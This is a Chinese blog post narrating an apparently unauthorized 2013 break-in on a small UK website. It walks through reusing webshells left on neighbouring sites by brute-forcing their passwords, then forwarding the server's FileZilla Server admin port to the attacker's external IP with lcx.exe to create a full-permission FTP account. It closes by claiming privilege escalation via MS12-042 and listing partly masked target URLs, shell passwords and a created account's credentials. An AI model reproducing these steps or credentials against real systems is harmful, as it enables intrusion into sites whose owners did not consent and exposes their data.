记一次后门爆破到提权实战案例

2022-09-22 09:55:17 浏览数 (1)

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 前言

Date/time:2013年,这次的目标是一个英国小网站,目的是拿下这个站点指定文件的修改权限。习惯性的在渗透某个目标之前先对目标进行基本的信息搜集,这样在后面的渗透过程中可以省下不少时间,此次的渗透可以说80%的运气,20%的经验才顺利拿到目标权限。

基本信息探测:

  • 目标站点:http://www.wem****.co.uk
  • 服务器IP:9*.1*9.1*4.*2(英国)
  • 环境平台:ASP.NET
  • 服务器系统:Microsoft-IIS/7.5
代码语言:javascript复制
PORT         STATE          SERVICE         VERSION
21/tcp       open           ftp             FileZilla ftpd 0.9.41 beta
80/tcp       open           http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

0x02 Getshell过程

这里就简化写了,先在主站仔细找找上传、注入、Fckeditor和敏感文件、目录,结果都没找到,主站基本没戏了,接着拿御剑对目标站的旁站进行扫描,后来去忙其他事了,放着在扫,事情忙完后还看了部电影,准备关电脑睡觉的时候才发现御剑还在扫着的呢,都快给忘了。

打开御剑把扫描到的链接导出来,用了半小时检测,虽然发现了一些上传、注入,Fckeditor啥的,但感觉这些漏洞好像都被别人修复过了,接着往下看,找到了几个敏感文件名,打开看既然是一个大马和一句话木马,通过弱口令和爆破方式成功得到密码。

代码语言:javascript复制
弱口令测试:
http://www.berkshire-*****-workshops.co.uk/test.aspx    Pass:admin

一句话爆破:
http://www.sonnergy*shade.co.uk/css.asp                 Pass:110

爆破字典:https://github.com/3had0w/Fuzzing-Dicts

注:成功拿到这个目标网站的Webshell权限可以说运气成份很大,但也需要一定的细心、耐心和经验,这几点在做渗透测试时也是非常重要的。

0x03 实战提权过程

由于这次目的是拿下这个目标站点指定文件的修改权限,所以我们得先去看看能不能直接跨到目标站点路径,如果不能直接跨过去或者是没有修改权限时再去想其它办法进行提权。

  1. 经过测试发现可直接跨到目标站,并且具备上传、新建和删除文件权限,但就是没有修改权限;
  2. 2008的提权EXP不多,尝试了各种已知提权EXP均以失败告终,可以再去试一下MSF的提权模块;
  3. 找第三方软件提权,前期的信息探测中已知系统运行着FileZilla ftpd 0.9.41 beta软件,找找看有没有安装的有FileZilla Server服务端;

注:可以用netstat -ano、tasklist命令来查看目标机器中是否安装的有可用于提权的第三方软件,如:Radmin、Gene6FTP、FileZilla Server等。

Filezilla Serve这个软件在国外服务器用的还是挺多的,21端口是客户端连接时需要的,14147端口则是服务端运行时需要的。我们的提权方法就是利用端口转发方式直接登录到目标机器的Filezilla Server服务端,然后创建一个拥有全盘目录权限的FTP账户。

(1) 使用netstat -ano、tasklist命令确认目标服务器是否运行了Filezilla Server软件,是不是用默认的14147端口,或者是修改为其它端口了,如下图。

(2) Filezilla Server服务端一般都会默认安装在C、D盘下的Program Files文件夹中,这里我已经提前找到了,安装目录下有2个重要的XML配置文件。

代码语言:javascript复制
用来保存管理员用户信息:
C:Program FilesFileZilla ServerFileZillaServer Interface.xml

用来保存普通FTP用户信息:
C:Program FilesFileZilla ServerFileZilla Server.xml

(3) 本地执行:lcx.exe -listen 51 14147,首先本机监听51端口,连接用14147端口。

(4) Webshell上执行:lcx.exe -slave 外网IP 51 127.0.0.1 14147

(5) 本地运行打包下来的Filezilla Server,打开后会自动读取配置文件里的账户密码进行连接。

注:如果出现连接不上的情况,这可能是因为我们本地的Filezilla Server与目标的Filezilla Server版本不一致,为了避免这个问题,可以直接将服务器上的Filezilla Server整个文件夹打包下来运行。

(6) Filezilla Server上创建一个拥有C、D盘权限账户,将读取/写入/创建/删除权限都给勾选上。

(7) 这里给的D盘权限是因为目标网站都放在D盘,只要达到能修改指定文件目的就行,大家在实际测试过程中可以选择添加C盘权限,然后再进行下一步的提权操作,《FileZilla Server提权与常见问题》。

这里目的已经达到,指定文件已经有了修改权限,所以就暂时没再继续提服务器了,FTP权限已经足够用了!隔了几天后用MS12-042提权EXP成功拿到服务器权限,帐号:luoye,密码:456$love。

0x04 思考总结

(1) 服务器外网,配置文件有修改权限,直接修改FileZilla Server.xml配置文件,这种情况应该比较少见,就不再详细写了。

(2) 服务器外网,配置文件只读权限,通过端口转发工具将端口转发出来,如果服务器不在内网,随便一款端口转发都可以。

(3) 服务器内网,配置文件只读权限,利用lcx.exe将内网端口转发出来,与2的方法是一样的,只不过一个内网,一个外网。

  • 外网服务器:用端口转发功能突破配置文件只读限制;
  • 内网服务器:用端口转发功能突破内网连接及配置文件只读限制;

0 人点赞